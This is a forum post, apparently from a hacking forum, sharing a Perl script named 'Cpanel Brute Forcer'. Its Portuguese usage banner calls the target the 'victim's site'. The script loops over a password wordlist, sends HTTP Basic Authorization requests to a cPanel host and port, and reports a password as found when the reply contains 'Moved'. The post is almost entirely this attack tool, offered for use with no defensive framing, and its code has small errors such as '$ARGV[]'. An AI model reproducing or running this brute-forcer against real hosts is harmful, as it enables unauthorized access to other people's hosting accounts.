Jump to content
jimmy1984

[PERL]Cpanel Brute Forcer

Recommended Posts

Posted
#!/usr/bin/perl
# Cpanel Brute Forcer
# ----------------------------
#    Criado By Mitiny-x
use IO::Socket;
use LWP::Simple;
use MIME::Base64;
 
$host     = $ARGV[];
$user     = $ARGV[1];
$port     = $ARGV[2];
$list     = $ARGV[3];
$file     = $ARGV[4];
$url = "http://".$host.":".$port;
if(@ARGV < 3){
print q(
###############################################################
#               Cpanel Brute Force                            #
###############################################################
#     usage : cpanel.pl [HOST] [User] [PORT] [list] [File]    #
#-------------------------------------------------------------#
#    [Host] : Site Da Vitima          (www.site.com)          #
#    [User] : User Admin               (Admin)                #
#    [PORT] : Port Do Cpanel           (8090)                 #
#    [list] : Word List De Senhas     (list.txt)              #
#    [File] : Local Onde Salva Senha  (password.txt)          #
#                                                             #
###############################################################
#                    Criado By Mitiny                         #
###############################################################
);exit;}
 
headx();
 
$numstart  = "-1";
 
sub headx() {
print q(
###############################################################
#              Cpanel Brute Force PassWord                    #
#                  Criado By Mitiny21                         #
###############################################################
);
open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
@PASSWORDS = <PASSFILE>;
close PASSFILE;
foreach my $P (@PASSWORDS) {
chomp $P;
$passwd = $P;
print "\n [~] Try Password : $passwd \n";
&brut;
};
}
sub brut() {
$authx = encode_base64($user.":".$passwd);
print $authx;
my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host";
print $sock "GET / HTTP/1.1\n";
print $sock "Authorization: Basic $authx\n";
print $sock "Connection: Close\n\n";
read  $sock, $answer, 128;
close($sock);
 
if ($answer =~ /Moved/) {
print "\n [~] PASSWORD FOUND : $passwd \n";
exit();
}
}

 

Guest
This topic is now closed to further replies.


×
×
  • Create New...